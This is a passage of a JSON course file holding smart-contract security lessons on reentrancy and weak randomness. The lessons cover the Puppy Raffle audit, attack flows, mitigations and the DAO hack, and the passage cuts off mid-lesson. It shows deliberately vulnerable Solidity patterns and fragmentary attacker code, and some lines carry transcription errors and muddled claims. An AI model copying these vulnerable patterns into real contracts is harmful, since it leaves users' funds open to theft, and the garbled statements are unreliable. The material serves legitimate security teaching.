"18-exploit-reentrancy", + "description": "", + "duration": 14, + "videoUrl": "gU7pV_6eO_M", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/18-exploit-reentrancy/+page.md", + "markdownContent": "---\ntitle: Exploit - Reentrancy\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unraveling the Reentrancy Attack in Solidity\n\nSolidity, the object-oriented programming language for writing smart contracts, is targeted by several types of attacks. Among these, the **Reentrancy attack** often comes up as a severe threat to solidity contracts. Understanding how this exploit works is a critical step in writing secure, robust contracts in the future.\n\n![](https://cdn.videotap.com/4xYTgBmqeFghdQVDVkIv-41.15.png)\n\n## Understanding the Attack: Using Slither\n\n[Slither](https://github.com/crytic/slither) is an indispensable tool in the effort to detect vulnerabilities and weaknesses in your smart contracts. A recent standoff with a test repo showcased the potency of the tool when it detected a reentrancy attack - a detection traced back to a `refund` function in our `puppyraffle` example.\n\n![](https://cdn.videotap.com/H7mM50IOIcsDSVV1PzTj-102.88.png)\n\nAn understanding of how reentrancy attacks work is needed to fully appreciate the need for vulnerability detection tools like Slither. To achieve this, let's revisit our cloned [sc-exploits-minimized](https://github.com/Cyfrin/sc-exploits-minimized) repo, where we'll find a minimalist code example inspired by [Solidity By Example](https://solidity-by-example.org/).\n\n## Examining A Minimalist Victim Code\n\nThe `ReentrancyVictim` contract within our cloned repo provides a basic engagement with this exploit.\n\n```js\ncontract ReentrancyVictim {\n function deposit() public payable { /*...*/ }\n function withdrawBalance() public { /*...*/ }\n }\n```\n\nIt is a simple contract allowing users to deposit and withdraw money. The gap in this operation lies within the `withdrawBalance` function - making an external call before updating the contract state creates an opportunity for an attacker to strike. To get a solid understanding of this seeming design error, let's break it down using easy-to-follow diagrams.\n\n![](https://cdn.videotap.com/bXCu88smua0uVsrjJOWq-308.63.png)\n\n## The Normal Withdrawal: An Ideal Flow Diagram\n\nTypically, a user makes a deposit. The deposit quantity updates the `userBalance` and `contractBalance`. To cash out, the user calls `withdrawBalance`, and the contract does the following:\n\n1. The balance in `withdrawBalance` function is matched with the `userBalance`.\n2. An externall call is made to send money back to the user via `msg.sender.call`.\n3. Upon a successful transaction, `userBalance` is updated, setting it to zero.\n\nThis three-step flow ensures that the user recovers the fund in its entirety.\n\n![](https://cdn.videotap.com/aG9uFrfDZ3HoCPIXAaRP-493.8.png)\n\n## The Abnormal Withdrawal: How a Reentrancy Attack Proceeds\n\nThe real vulnerability manifests when a malicious entity exploits the contract design. Here's an outlined procedure on how this occurs:\n\n1. A victim deposits a certain amount of Ether(e.g., 5 ETH).\n2. The attacker then calls their `attack` function, which, interestingly, performs a deposit followed immediately by a withdrawal.\n3. The `msg.sender.call` function is subsequently activated within the withdrawal process, leading to an execution of the `receive` function in the attacker's contract.\n\nAt this point, the contract loops between the `receive` and `withdrawBalance` functions as long as there is a balance left. It effectively drains the victim's funds into the attacker's account.\n\nHow does it happen so smoothly? Well, the victim’s balance - which [should honestly be deducted before making external calls](https://consensys.github.io/smart-contract-best-practices/development-recommendations/general/external-calls/#avoid-state-changes-after-external-calls) - remains intact, allowing the attacker to repeatedly withdraw funds until the contract is empty.\n\n## Guarding Against Reentrancy Attacks\n\nIn conclusion, reentrancy attacks, just like other vulnerabilities within smart contracts, bank on the concurrent nature of contract interactions in Solidity. Developers must heed the best practices and recommendations for safe coding, particularly the guidelines on state changes made after external calls, which have proven pivotal in executing this attack. By cherishing small preventive measures and leveraging tools designed to detect such vulnerabilities, you're well on your way to significantly improving the security of your Solidity contracts.\n\n![](https://cdn.videotap.com/fTRdWZkSOGZLiSUhb43I-740.7.png)> _\"Coding safe contracts are better than fixing broken ones.\"_\n", + "updates": [] + }, + { + "id": "4e5253aa-7047-431d-8c16-c6b408be05e9", + "number": 19, + "title": "Reentrancy: Remix example", + "slug": "reentrancy-remix-example", + "folderName": "19-reentrancy-remix-example", + "description": "", + "duration": 4, + "videoUrl": "eDu2XBwFTos", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/19-reentrancy-remix-example/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Remix Example\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Preventing Reentrancy Attacks on Ethereum Smart Contracts\n\nWhen designing Ethereum Smart Contracts, one area that requires vigilance is the handling of user balances. A simple change in the sequences of function calls could open the door to a reentrancy attack, causing unexpected behavior and potentially wiping out users' funds.\n\n![](https://cdn.videotap.com/1J27BMPtiIfHtQifcabU-6.42.png)\n\n## Understanding the Problem\n\nThe main issue that makes smart contracts vulnerable to reentrancy attacks relates to the order in which we update the user balance. The problematic sequence in pseudocode looks like this:\n\n```javascript\n...\n// some contract code...//\nfunction withdraw(uint withdraw_amount) {\n require(userBalance >= withdraw_amount, \"Insufficient funds for withdraw request.\");\n user.transfer(withdraw_amount);\n userBalance = userBalance - withdraw_amount;\n}\n...\n// more contract code...\n```\n\nIn a situation where a malicious contract reenters the `withdraw` function before the user balance was updated—`userBalance = userBalance - withdraw_amount`—the smart contract would transfer the same amount again, despite the fact that the balance should have been reduced.\n\nQuote:\n\n> \"The heart of the problem lies in the sequence in which the balance is updated. If an attacker can interrupt this sequence, they can exploit this vulnerability to drain the contract's funds.\"\n\n## The Test Case Scenario\n\nTo reveal the vulnerability in action, let's consider this scenario in the `ReentrancyTest.sol` file:\n\n1. Prank the victim.\n2. Deposit the funds to the victim's account.\n3. Check the balance.\n4. Launch the attack.\n\nAs a result, the victim's balance goes to zero, while the attacker's balance increases by the deposited amount. This exact scenario can be witnessed in the [Remix IDE](https://remix.ethereum.org) directly, giving you a tangible feel of how this exploit plays out.\n\n![](https://cdn.videotap.com/LzhPJ3RR0EUmXpogirbd-102.71.png)The files to be watched are `ReentrancyVictim.sol` and `ReentrancyAttacker.sol`, which hold our hapless victim and the cunning attacker respectively.\n\nTo reproduce the scenario:\n\n1. Compile `ReentrancyVictim.sol` and `ReentrancyAttacker.sol`.\n2. Deploy both contracts.\n3. Deposit 5 Ether to the victim contract.\n4. Observe that the user balance is updated with 5 Ether.\n5. Now deploy the attacker and carry out the attack.\n\nThe result is the same as predicted. The victim's balance goes to zero, while the attacker ends up with 6 Ether.\n\n## The Solution\n\nHow then can we prevent such disastrous scenarios? The solution lies in adjusting the sequence of how the user balance is updated. Just move the `userBalance = 0;` line before the withdraw function. Here's the updated function:\n\n```javascript\n...\n// some contract code...//\nfunction withdraw(uint withdraw_amount) {\n require(userBalance >= withdraw_amount, \"Insufficient funds for withdraw request.\");\n userBalance = userBalance - withdraw_amount; // note the order of these lines\n user.transfer(withdraw_amount); // note the order of these lines\n}\n...\n// more contract code...\n```\n\nThis way, even if the attacker reenters the function, the updated zero balance will not allow it to withdraw any funds.\n\nRemember, the safety and trust users have on your smart contract are built on the solid foundation of security diligence in your coding process. Being aware of potential threats such as reentrancy attacks and taking preventive measures will add to your credibility as a developer.\n\nFor further practice, dig deeper and try out test suites that explore more such scenarios. Practise makes perfect—all the best on your journey to mastering the security aspects of Ethereum Smart Contract development!\n\n![](https://cdn.videotap.com/O8nYCKukwbgtzZaFQ7DU-195.79.png)\n", + "updates": [] + }, + { + "id": "b7ebb003-a608-4d31-a69c-46de78f4cb81", + "number": 20, + "title": "Reentrancy: Mitigation", + "slug": "reentrancy-mitigation", + "folderName": "20-reentrancy-mitigation", + "description": "", + "duration": 4, + "videoUrl": "LbxQz6D2sP4", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/20-reentrancy-mitigation/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Mitigation\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Solving Reentrancy Attacks in Smart Contracts\n\nIn today's discussion, we will figure out possible methods to deal with common challenges we face while working with Smart Contracts. There are different ways to solve issues in smart contracts, and one of those frequently used methods is known as Checks-Effects-Interactions or CEI approach. Other new models have been introduced like new CEI or freePi but today, we will focus on the CEI approach.\n\n## What is Check-Effect-Interactions?\n\nIt's essential to understand the Check-Effect-Interactions model properly. CEI is broken down into three steps:\n\n1. Running checks like any required statements or conditionals;\n2. Updating the state of your contracts, which is known as running your effects;\n3. Lastly, interactions with external contracts.\n\nIn the following segment, we'll discuss how we can implement these steps in our contract in a function called \"`withdrawBalance`\". Please note, for demonstration purposes, we assume a contract without any checks since the balance line provided isn't treated as a check.\n\n## Implementing CEI in your Smart Contract\n\nLet's consider a function like \"`withdrawBalance`\" and see how we can use the CEI model to avoid potential contract issues.\n\n![](https://cdn.videotap.com/NPmvbUFZtOy30kA6ekhR-74.82.png)\n\nSo, first, we'll move the balance line, which is an effect since it indicates a state change, to the top. Next, locate the interaction and move it up as well. Finally, order the effect and interaction in place.\n\nWith these modifications, we are ready to redeploy the contract. Following the deployment, a user deposits ether. Like in the previous example, we switch the accounts and call an attack. This time, an alert pops up saying it's reverted.\n\nBut why did it revert?\n\n> \"The contract reverted because when calling the attack, the withdrawal process didn't send any data or value and instead was reverted.\"\n\nSo we can see with these changes, we have protected our contract against the issue causing it to fail when attacked.\n\n## Another Approach: Locks on Functions\n\nAnother way to solve this problem, besides the Checks-Effects-Interactions model, is to put a type of lock on the function using boolean variables. When we lock the function, it's prohibited for anyone to enter it until its status changes to unlocked.\n\n```js\nbool locked = false // Declare a boolean variable called `locked` and set it to false.\n// Inside your function\nif (locked) {\n revert(); // If locked equals true, the function will terminate.\n } else {locked = true; // If locked equals false, the function will operate and change the state of locked to true.\n }\n```\n\nAfter the process, we can safely unlock the function again by assigning `false` to the `locked` variable.\n\nHowever, the lock process can also be accomplished more effectively using professional, open-source tools like Open Zeppelin Package Manager. The Open Zeppelin package includes a tool, `ReentrancyGuard`, that provides a `non-reentrant` modifier to protect against double spend attacks and contract reentry.\n\nSo, these are the two main ways to protect your smart contract from reentrancy issues. Always remember to perform necessary checks, run your effects, and then handle the interactions. Alternatively, you can optimally secure your functions with the aid of locks.\n\nProtect your contracts. Happy coding!\n", + "updates": [] + }, + { + "id": "7c86d2b3-42bb-4b17-800a-fbdc70f5e1ad", + "number": 21, + "title": "Menace To Society", + "slug": "reentrancy-menace-to-society", + "folderName": "21-reentrancy-menace-to-society", + "description": "", + "duration": 5, + "videoUrl": "U9A50LLbYSc", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/21-reentrancy-menace-to-society/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Menace to Society\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Beware of the Reentrancy Attack in Your Smart Contract\n\nIn the world of crypto and blockchain, security is a paramount concern. When dealing with a web infrastructure that transacts and stores billions of dollars, any weakness in the security system could lead to irreversible financial loss. Many of these losses have been attributed to something known as the Reentrancy Attack, which still ranks among the top ten Decentralized Finance (DeFi) attacks of 2023.\n\nIn this post, I will thoroughly discuss Reentrancy Attacks, shed some light on tools that can help you identify them, suggest common-sense approaches to avoid them, and indulge in a little history by revisiting one of the most infamous cases of Reentrancy Attack.\n\n![](https://cdn.videotap.com/NRMDW7u49DDoO3HwaIgb-20.75.png)\n\n## What is a Reentrancy Attack?\n\nA Reentrancy Attack is a malicious maneuver where an attacker repeatedly calls a function within a Smart Contract before the original function has finished executing. This repetition allows the attacker to drain funds or manipulate data in an unintended way.\n\n## The Dogged Persistence of Reentrancy Attacks\n\nA glance at the data available in our GitHub repository related to this course reveals that Reentrancy Attacks have rather stubbornly stuck around. Not only are they persisting, but their occurrence rate is even increasing.\n\n> \"More people have still gotten hit by Reentrancy Attacks. It is still a common attack vector and is still stealing millions of dollars out of web three.\"\n\nDespite the availability of static analysis tools like Slither, which are fantastic at detecting them, these attacks somehow still find their way through the cracks. The issue with the 'puppy raffle' clearly demonstrates this point.\n\n## A Peek into the Past: The DAO Hack\n\nA great way to understand Reentrancy Attacks is to look back at their history and study some notable case studies. The DAO (Decentralized Autonomous Organization) Hack is one such case and remains one of the most notorious Reentrancy Attacks in history.\n\nIn May 2016, The DAO managed to attract nearly 14% of all Ether tokens issued to date. However, this promising start came to a halt when it was discovered to have a massive bug. The 'reward withdrawal' form was one of the main culprits, having an insidious pattern: it made an external call and then updated the state.\n\n```js\nfunction withdrawReward (address _account) public returns (bool _success) {\n if ((balanceOf(_account) == 0)&& (rewardAccount.earned(_account) == 0))throw;\n uint reward = rewardAccount.earned(_account);\n if (!rewardAccount.reward(_account))throw;\n if (!_account.call.value(reward)())throw;\n Withdrawal(_account, reward);\n return true;\n }\n```\n\nIn the code snippet above, you can see that an external call is made and immediately followed by a state update. It clearly did not adhere to best practices, which resulted in a severe and costly failure—a crucial element in what would later be known as the DAO Hack.\n\n## Proactive Solutions to Thwart Reentrancy Attacks\n\nThe Reentrancy Attack can be complicated, but its solution is surprisingly straightforward:\n\n> \"If you make an external call that can reenter the same function before you update some state, you are likely paving the way for a successful Reentrancy Attack.\"\n\nBy adhering to coding best practices and utilizing the numerous security tools available, we could drastically reduce the occurrence and the potential damage of these attacks.\n\n## Summing Up and Looking Ahead\n\nThe unfortunate persistence of Reentrancy Attacks indeed serves as a wake-up call. They continue to plague the digital financial world, stealing massive sums of money and causing significant disruption.\n\nBut as we continue to innovate and work towards a more secure Web 3, it's essential to take any setbacks as learning opportunities. An in-depth understanding of attacks like this one, along with the proactive application of recently developed solutions, will surely pave the way for a more secure future.\n", + "updates": [] + }, + { + "id": "79da466e-ddef-4296-8fab-8c80cfcb34bf", + "number": 22, + "title": "Reentrancy: Recap", + "slug": "reentrancy-recap", + "folderName": "22-reentrancy-recap", + "description": "", + "duration": 3, + "videoUrl": "yrxasLwJvpQ", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/22-reentrancy-recap/+page.md", + "markdownContent": "---\ntitle: Reentrancy - Recap\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unraveling Reentrancy Attacks in Ethereum Smart Contracts\n\nReentrancy Attacks within the blockchain ecosystem have become a considerable concern. These attacks exploit a vulnerability found predominantly in Ethereum smart contracts, causing significant damage and financial loss. This blog post hones in what a reentrancy attack is, how to identify one, and, most crucially, what you can do to effectively protect your smart contracts from falling victim to such an attack.\n\n![](https://cdn.videotap.com/fLgSr8bv86FfH9PCnTAk-12.55.png)\n\n## Understanding Reentrancy Attacks\n\nAt its most basic, a reentrancy attack appears as follows. An attacker begins by calling a victim's contract, which in turn calls some external contract. This external contract then circles back and calls the victim contract - repeating the process continuously. The critical flaw that makes this possible is a state change that isn't made before calling this external contract. This diagram provides a more nuanced view of the situation.\n\n![](https://cdn.videotap.com/bUHtSEcSIcBowtKkMcSw-31.36.png)\n\nThe victim deposits and immediately the attacker launches an attack, which calls back to the attack contract. This callback triggers a withdrawal, leading back to the attack contract, provoking another withdrawal, and so on. This recurring action is only possible because we neglect to update the state until the very end - instead of carrying out this crucial step before initiating any external calls.\n\n## Catching Reentrancy Attacks\n\nBeing a common attack vector, reentrancy attacks can be reproduced quite effortlessly. There are a multitude of tools that can help in detecting such risks, one of them being [Remix](http://remix.ethereum.org/), a powerful tool for Solidity programming. You'll find that it's quite straightforward to test and simulate reentrancy attacks using this platform. Static analysis tools such as [Slither](https://github.com/crytic/slither) are similarly handy in identifying these threats. Slither steps in when manual auditors make a slip — this is why static analysis tools are so invaluable. However, bear in mind to only rely on powerful static analysis tools capable of catching Reentrancy issues.\n\n> \"If we screw up as manual auditors, Slither or some other static analysis tool can catch this.\"\n\n## Ways to Block Reentrancy Attacks\n\nDefense against reentrancy attacks can be approached in two ways. Firstly, you can use checks, effects, interactions to conduct the state change prior to making any external calls.\n\n![](https://cdn.videotap.com/T6NG2ok8Y9Hcf4Jmh3Kv-87.82.png)\n\nAlternatively, OpenZeppelin's non-Reentrant modifier can be used or some type of modifier (e.g., `if, locked`) which is also identified as a mutex lock in computer science.\n\n## Summing Up\n\nThis disturbing streak of reentrancy attacks that still plagues us today extends back to June 2016 with the Dow hack. It is distressing to note that 14% of all ETH in existence was threatened at the time, as evidenced by [this repo](https://github.com/pcaversaccio/reentrancy-attacks) managed by Pascal.\n\nHowever, despite the sobering reality, we are far better equipped today to detect and prevent these attacks. We have the knowledge, the tools, and the power to prevent the further plundering of Ethereum assets. Here's to a more secure future, where you'll never miss a Reentrancy attack ever again!\n\n> \"Really important attack. Glad you got it.\"\n", + "updates": [] + }, + { + "id": "f8a232ac-d0a5-4f2e-b2f8-ec7dd5790aa4", + "number": 23, + "title": "Reentrancy: PoC", + "slug": "reentrancy-poc", + "folderName": "23-reentrancy-poc", + "description": "", + "duration": 8, + "videoUrl": "f_kvO9E-F0U", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/23-reentrancy-poc/+page.md", + "markdownContent": "---\ntitle: Reentrancy - PoC\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Exploiting the Reentrancy Bug: An In-Depth Guide\n\nUncovering vulnerabilities in smart contracts has emerged as a critical task, particularly with the rise of DeFi protocols. In this blog post, we will guide you through the process of exploiting one of these vulnerabilities known as the 'reentrancy bug.' For this, we'll use a fictional contract called 'Puppy Raffle' as our case study.\n\n## What is Reentrancy Bug and Why is it Dangerous?\n\n![](https://cdn.videotap.com/nWd247DHc5JaG5n6O8uq-37.66.png)\n\nA _reentrancy bug_ occurs when an external contract gets called before updating the state in a given function. This flaw is potentially destructive as it leads to a condition where the same function can be recursively invoked before the first execution is complete. In essence, it makes it possible for an attacker to drain all funds from the affected contract.\n\nNow, let's get to the heart of the matter and dive into how this reentrancy bug could be exploited in our case study, Puppy Raffle.\n\n## Implementing a Proof-of-Code for Reentrancy Attack\n\nInitially, we have the Puppy Raffle Test - `PuppyRaffleTest.t.sol`. Here, we'll take advantage of the existing refund test to carry out our exploit. We'll begin by copying the `refund test` and then refactor it to serve our needs.\n\n```js\n// Copy pasted refund test\ntestReentrancyRefund() { ... }\n```\n\nWe perceive a `playerEntered` modifier is already implemented. We could use this, but we'll opt to copy and paste it directly into our test function.\n\n```js\naddress[] memory players = new address[](1);\n```\n\nHere, only one player is being instanced. However, we plan to test multiple entrants to the raffle. Therefore, we will change it to include more players - in this case, four.\n\n```js\naddress[] memory players = new address[](4);\n```\n\n![](https://cdn.videotap.com/EsowklYmOJTJLU3Cxgzb-225.95.png)\n\n## Building our Attack Contract: ReentrancyAttacker.sol\n\nHaving completed our set up, we can now proceed to build our attack contract.\n\nIn our attack contract, we need to create a recipient or a `fallback` function that will re-enter into the affected contract.\n\n```js\nfunction() external payable { ... }\n```\n\nThis `fallback` function will only be triggered when the balance of the 'Puppy Raffle' contract is more than the `entranceFee`.\n\n```js\nif (address(puppyRaffle).balance >= entranceFee) { ... }\n```\n\nIn line with this, our attack contract will keep calling the `refund` function recursively until it has drained all the funds from the 'Puppy Raffle' contract.\n\nNow the attack execution is ready. We can create our malicious 'ReentrancyAttacker' contract and an attacker user with a sufficient balance to join the raffle. We will establish a starting and ending balance for both the 'ReentrancyAttacker' contract and the 'Puppy Raffle' contract.\n\nIf the attack is successful, the final balance of the 'Puppy Raffle' contract should read zero, and the 'ReentrancyAttacker' contract should have stolen all the funds.\n\n## Wrapping Up\n\nFrom our proof-of-code run, the attack was indeed successful. This reentrancy issue in 'Puppy Raffle' contract is evidently a major vulnerability, and one must be appropriately addressed in our audit report.\n\n> \"We have successfully written a Proof-of-Code (PoC) for reentrancy on this 'Puppy Raffle.' This is definitely going to be a high-risk vulnerability on our audit report.\"\n\nBy far, you've learned about the nature of a reentrancy bug and how to exploit it, making you a highly alert and more skilled blockchain developer.\n\nSo, take pride in yourself. This bug is a common and critical one; recognizing and fixing it takes your skills to another level.\n\nNow, let's head back to the 'Puppy Raffle' and carry on with our audit. So far, we have revealed a significant reentrancy issue. Keep your guard up; there's more to discover!\n", + "updates": [] + }, + { + "id": "31709f46-91b8-4eb4-88bd-a14600106ae5", + "number": 24, + "title": "Recon: Continued", + "slug": "recon-continued", + "folderName": "24-recon-continued", + "description": "", + "duration": 5, + "videoUrl": "V4TuGjGuCxU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/24-recon-continued/+page.md", + "markdownContent": "---\ntitle: Recon Continued\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Thoroughly Examining and Auditing Smart Contract in Slither\n\nWhile performing a manual audit of the smart contract of a Puppy Raffle application in Slither, we unearthed several areas that warrant a more in-depth investigation, such as functions, variables and interactions.\n\n![](https://cdn.videotap.com/bY22ZXsy75N3gZs0jFox-17.06.png)\n\n## A Close Look at Specific Functions\n\nIn this audit, we have done a thorough review of the `refund` function as well as the `enterRaffle` function. Let's now move our attention to understanding the other functionalities of how the Puppy Raffle works.\n\n### Reviewing the GetActivePlayer Function\n\nUpon reviewing the `GetActivePlayer` function, we discovered an informational issue. From a first glance, it appears to be a minor issue as it can lead someone to erroneously believe that their active player index is zero.\n\n```js\nfunction getActivePlayer() public {/* function logic*/}\n```\n\n### Unfolding the Select Winner Function\n\nNext, we are going to examine a major function called `selectWinner`. This function is designed to choose a single winner randomly and mint a new puppy token based on the entries kept in the `players` array.\n\n```js\nfunction selectWinner() public {/* function logic*/}\n```\n\nA cursory look at the function shows that the select winner function follows CEI (Check Effects Interaction) principle as it starts with a series of checks. A quick follow-up review confirms the function's adherence to the principle except for one section where it calls `Safe Mint`. However, we need to better understand what `Safe Mint` does to evaluate if the exception is justified.\n\n## Exploring Variables and Rules\n\nThe `selectWinner` function contains a built-in condition that requires at least four players to exist before a winner can be selected. Another condition that enforces temporal constraints is the `raffle_duration` paired with the `raffle_start_time`. Our review shows that the raffle duration is set at the deployment of the contract, and the raffle start time is set at the instant when the contract is deployed.\n\n```js\npublic int raffleDuration; // set during contract deployment\npublic int raffleStartTime; // set when contract is deployed\n```\n\nPreliminary inspection indicates that these setups seem correct, but we will need to validate their setting and interactions in the next phase.\n\n## Questioning the Randomness of the Winner\n\nThe real crux of the `selectWinner` function lies in the line that calculates the `winner_index`. This is achieved by taking an encoded value based on the message sender, block timestamp and block difficulty, and then applying a modulus operation with the player's length. This operation presumably provides a pseudo-random number, which in turn is used to select a winner.\n\n```js\nwinnerIndex =\n keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) %\n players.length;\n```\n\nHowever, this method of generating a random number raises a potentially critical concern — weak randomness. This is a known area of potential exploit in blockchain wherein pseudo-random number generators can be manipulated, thus warranting further investigation.\n\n> _Note: \"Is the random winner really random?\"_\n\nOverall, our extensive drill-down into the `selectWinner` function and related variables has revealed several potential loopholes, including weak randomness, that need further examination to ensure the security and fairness of the Puppy Raffle Dapp.\n\nStay tuned for our upcoming posts where we will dive deep into understanding potential vulnerabilities, and continue examining the rest of the smart contract.\n", + "updates": [] + }, + { + "id": "6b574a27-6e1f-4aa4-a421-8a51b18cdb90", + "number": 25, + "title": "Exploit: Weak randomness", + "slug": "exploit-weak-randomness", + "folderName": "25-exploit-weak-randomness", + "description": "", + "duration": 4, + "videoUrl": "dAON44pV9z8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/25-exploit-weak-randomness/+page.md", + "markdownContent": "---\ntitle: Exploit - Weak Randomness\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Discovering Weaknesses in PRNG with Slither\n\nIn the diverse world of decentralized application development, we often encounter complex security challenges. One such is the vulnerability in pseudorandom number generators (PRNGs). Here, we'll delve deep into the specifics of the weakness in PRNG, discuss how to detect it using a tool called Slither, and provide secure alternatives.\n\n## Identifying the PRNG Weakness with Slither\n\nAs we initially dive into the topic, we'll use the Slither tool.\n\n![](https://cdn.videotap.com/7nugMPqDrdTJOkuQc2VL-17.86.png)\n\nFor those unfamiliar, Slither is an immensely useful Solidity static analysis framework that helps developers identify security vulnerabilities in their smart contracts. To put it to use, we'll use `slither .` for analysis.\n\n![](https://cdn.videotap.com/KVCSvBriSAdLW0iGaC85-26.79.png)\n\nProvide the necessary inputs, zoom in, and voila, Slither proficiently catches our weak PRNG code!\n\nUpon scrolling to the top, we come across the info detectors section, where the weakness is named as \"weak PRNG.\" Clicking on the link redirects us to the documentation, where we'll get an in-depth understanding of the issue.\n\n> \"Weak PRNG due to a module on block timestamp or block hash. These can be significantly influenced by miners, leading to a high degree of unpredictability.\"\n\nThus suggesting that not only is the PRNG weak, but it can also be tampered with significantly by miners, which should be avoided at all costs.\n\n## Diving Deeper into PRNG Weakness\n\nThe issue runs deeper than what it initially seems. PRNG in blockchain applications, to some extent, can be influenced or anticipated, which are signifiers for potential attacks.\n\nDo you remember [`sc-exploits-minimized`](https://github.com/Cyfrin/sc-exploits-minimized) from the previous tutorials? Let's revisit it to understand it better.\n\nOnce you're there, scroll down to 'weak randomness'. This is what we need for a better understanding of the weakness.\n\n![](https://cdn.videotap.com/WLZxtJUXvyxCOZKz6ptG-107.16.png)\n\n## Playing with the Weak Randomness\n\nLet's open the Sol file in Remix and poke around a bit.\n\nConsider this example.\n\n```js\ncontract WeakRandomness {\n function getRandomNumber() external view returns uint256 {\n return uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.difficulty, block.timestamp)));\n }\n}\n```\n\nThe above function generates a random number using `msg.sender`, `block.prevrandao`, `block.difficulty`, and `block.timestamp`. Here, the code hashes these values and wraps them into a uint256.\n\nSeems legit, right? Wrong!\n\nThe threat here is obvious to those experienced in blockchain security. These vital parameters can be easily manipulated or anticipated by miners, resulting in predictable 'random' numbers, which are vulnerabilities waiting to be exploited.\n\n## Real-time Exploits and Solution\n\nSeveral exploits have occurred in the past where miners were able to anticipate or influence the random number. If you use the same random number in the same block, it invariably leads to massive issues.\n\n![](https://cdn.videotap.com/pG215QeyShJvBxt7ocmk-174.14.png)\n\nChainlink VRF, a verifiable random function, is the solution to this issue. It ensures that random numbers generated on-chain are provably random, tamper-proof, and unpredictable.\n\n![](https://cdn.videotap.com/e5n2aLD8xI6u253dq8Va-183.07.png)\n\nTo wrap it up, blockchain is a complex and exciting space. Dealing with PRNG weakness is just one of many challenges developers face. Armed with knowledge and appropriate tools like Slither, we can tackle these challenges and develop secure, decentralised applications. Stay tuned for more insightful tutorials to bump up your blockchain coding prowess.\n", + "updates": [] + }, + { + "id": "553ec8a3-8e89-4408-b1a0-df917a61e099", + "number": 26, + "title": "Weak randomness: Multiple issues", + "slug": "weak-randomness-multiple-issues", + "folderName": "26-weak-randomness-multiple-issues", + "description": "", + "duration": 4, + "videoUrl": "VVOpvCw9-FA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/26-weak-randomness-multiple-issues/+page.md", + "markdownContent": "---\ntitle: Weak Randomness - Multiple Issues\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Breaking Down Blockchain Randomness: Security and Potential Pitfalls\n\nToday, we're going to delve into the intricacies of managing certain aspects of blockchain programming. Specifically, we will be discussing these three elements: Message Sender, Blocked ProgramDo, and Blocked Timestamp. These are key aspects when dealing with randomness in blockchain, which we will dissect, explaining their functionalities and potential security issues.\n\nLet's get started.\n\n## Deconstructing the Blockchain Components\n\n### 1. block.timestamp\n\nTo understand the concept of `block.timestamp`, refer to the repository's diagrams.\n\n![](https://cdn.videotap.com/96gVghjLA5xt6vAGyZ3W-23.74.png)\n\nA transaction on the blockchain has its timestamp that miners can manipulate. If a miner doesn't agree with the timestamp, they might hold onto the transaction until a more favourable timestamp occurs.\n\n> When dealing with Validator node issues, remember never to trust miners!\n\nA miner can also reject a transaction if the timestamp doesn't favour their needs. Manipulating the timestamp has become more challenging after the merge; yet, there are ways to tamper.\n\nOn non-Ethereum blockchain systems, miners sometimes have the power to adjust block timestamps by a few seconds. It might not seem much, but in the agile world of blockchain, these minor adjustments might lead to contract violations or aid in attaining a favourable random number.\n\n### 2. block.prevrandao\n\nA new Solidity component, **block.prevrandao**, replaced the block difficulty post the merge. It is used to randomly pick validators under the new system.\n\nFor more in-depth information, refer to EIP (Ethereum Improvement Proposal) [EIP 4399](https://eips.ethereum.org/EIPS/eip-4399).\n\n![](https://cdn.videotap.com/fhhVXSh7UyBBcLkTyLNK-63.32.png)\n\nHowever, it also bears security considerations. First, it's biased since it allows one bit of influence power per slot. A tweak in the security component can cause a shift from an originally intended number. Moreover, it opens doors to predictability since it originates from a previous random number.\n\nConsequently, caution is of utmost importance while using **prevrandao** if it can't be avoided.\n\n```js\npragma solidity ^0.5.0;\n\ncontract Example {\n uint public myNum = uint(block.prevrandao);\n\n function getPrevRandao() public view returns (uint) {\n return myNum;\n }\n}\n```\n\n### 3. msg.sender\n\nOur last element, **msg.sender**, can also be manipulated by the caller. If the randomness is generated from a field controlled by the caller, they can manipulate the field to get their favoured random number.\n\nA simple example can be hashing the `msg.sender`, where a caller can mine for addresses until they find one that gets them the random number they want. Add to that the deterministic nature of the blockchain, and it becomes evident that finding a random number inside the blockchain would lead to finding a deterministic number.\n\n```js\npragma solidity ^0.5.0;\n\ncontract Example {\n address public addressVar = msg.sender;\n function getSender() public view returns (address) {\n return addressVar;\n }\n}\n```\n\n## Beware of the Pitfalls\n\nThe crux of the matter is the blockchain, being a deterministic system, can't commit to genuine randomness. All generated random numbers can get influenced and adjusted, leading to potential security lapses. Using these elements for randomness is hence a poor practice and should be avoided at all costs.\n\nYou can also test this in Solidity's Remix or via the `sc-exploits-minimized` repository for further practice.\n\nWhile dealing with blockchains, one must always keep their eyes and ears open for potential security breaches. It's not an easy world to navigate, but with careful consideration and active learning, we can make it a safer place for everyone.\n", + "updates": [] + }, + { + "id": "a783af65-794e-42cd-b1e3-74c9ce450915", + "number": 27, + "title": "Case Study: Weak Randomness", + "slug": "weak-randomness-case-study", + "folderName": "27-weak-randomness-case-study", + "description": "", + "duration": 7, + "videoUrl": "KpWqBm2IE20", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/27-weak-randomness-case-study/+page.md", + "markdownContent": "---\ntitle: Weak Randomness - Case Study\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Case Study: The Meebits Exploit of 2021\n\nIn today's post, we're going to delve into an 